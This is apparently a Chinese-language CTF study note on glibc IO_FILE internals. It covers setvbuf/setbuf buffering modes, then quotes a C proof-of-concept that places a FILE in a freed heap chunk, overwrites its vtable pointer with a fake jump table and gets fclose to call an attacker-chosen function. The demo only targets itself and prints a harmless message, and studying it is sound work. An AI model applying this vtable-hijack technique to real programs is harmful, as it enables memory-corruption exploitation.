pwn | IO_FILE_ 学习
setbuf && setvbuf
在学习之前先整理一下最近注意到的setvbuf
int setvbuf(FILE *stream,char *buf,int mode,size_t size)
buf : 如果不指定(null), 那么函数就在堆上给你自动分配一个
type: 缓冲区类型,
_IOFBF Full(block) buffering, 输出时, 缓冲区满了或者flushed的时时候进行写, 输入时清空缓冲区
_IOLBF Line buffering, 每次从流中读入一行数据或向流中写入一行数据, 也就是说有换行符才进行读写, 当然缓冲区满了也会写
_IONBF No buffering, 不使用缓冲区, 读写操作直接进行, 如果type设置成这个值, 那size和buf参数都会被忽略
还有一个函数setbuf
void setbuf(FILE *stream, char *buf);
当`buf = NULL`的时候, 不使用缓冲区, 相当于 _IONBF
所以这个函数相当于 setvbuf(stream, buf, buf ? _IOFBF : _IONBF, BUFSIZE)
我们打开的文件一般是Block buffering
, 第一次I/O操作的时候会自动分配个适当大小的堆块作为它的缓冲区
stdin 是Line buffing
stdout是Line buffing
stderr是No buffering
一般的ctf题目里都会进行一个操作就是
setvbuf(stdin, 0, 2, 0); // 2就是 _IONBF
setvbuf(stdout, 0, 2, 0);
这样子就不给他们在堆上分配缓冲区了, 所以这样子是为了不干扰做题吗
卧槽…我是在哪看见篇文章说是在IO操作前, 分配个堆, 再free, 就能把free掉的空间给了FILE, 嗷, 找到了是这篇
#include <stdio.h>
#include <stdlib.h>
void pwn(void)
{
printf("Dave, my mind is going.\n");
fflush(stdout);
}
void * funcs[] = {
NULL, // "extra word"
NULL, // DUMMY
exit, // finish
NULL, // overflow
NULL, // underflow
NULL, // uflow
NULL, // pbackfail
NULL, // xsputn
NULL, // xsgetn
NULL, // seekoff
NULL, // seekpos
NULL, // setbuf
NULL, // sync
NULL, // doallocate
NULL, // read
NULL, // write
NULL, // seek
pwn, // close
NULL, // stat
NULL, // showmanyc
NULL, // imbue
};
int main(int argc, char * argv[])
{
FILE *fp;
unsigned char *str;
printf("sizeof(FILE): 0x%x\n", sizeof(FILE));
/* Allocate and free enough for a FILE plus a pointer. */
str = malloc(sizeof(FILE) + sizeof(void *));
printf("freeing %p\n", str);
free(str);
/* Open a file, observe it ended up at previous location. */
if (!(fp = fopen("/dev/null", "r"))) {
perror("fopen");
return 1;
}
printf("FILE got %p\n", fp);
printf("_IO_jump_t @ %p is 0x%08lx\n", str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* Overwrite vtable pointer. */
*(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
printf("_IO_jump_t @ %p now 0x%08lx\n",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* Trigger call to pwn(). */
fclose(fp);
return 0;
}